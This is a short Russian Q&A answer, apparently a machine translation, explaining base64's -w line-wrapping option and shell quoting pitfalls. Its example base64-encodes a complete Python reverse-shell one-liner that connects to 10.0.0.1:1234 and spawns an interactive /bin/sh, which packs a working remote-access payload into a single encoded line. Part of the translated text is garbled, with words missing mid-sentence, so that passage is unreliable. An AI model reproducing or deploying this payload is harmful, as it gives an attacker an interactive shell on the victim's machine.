что делит строку в кодировке base64 на несколько строк?
Разрывы строк вставляются на основе длины вывода, а не на основе специальных символов на входе. См man base64
:
-w, --wrap=COLS
wrap encoded lines after COLS character (default 76). Use 0 to disable line wrapping
Поэтому вы можете написать echo someString | base64 -w0
.
Обратите внимание, что bash
может испортить вашу строку, если вы не правильно ее процитируете. В вашем случае "
в subprocess.call(["/bin/sh","-i"])
проглатывается bash
и , а не , напечатанным echo
. Либо напишите \"
, либо используйте здесь документ:
base64 -w0 <<'EOF'
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
EOF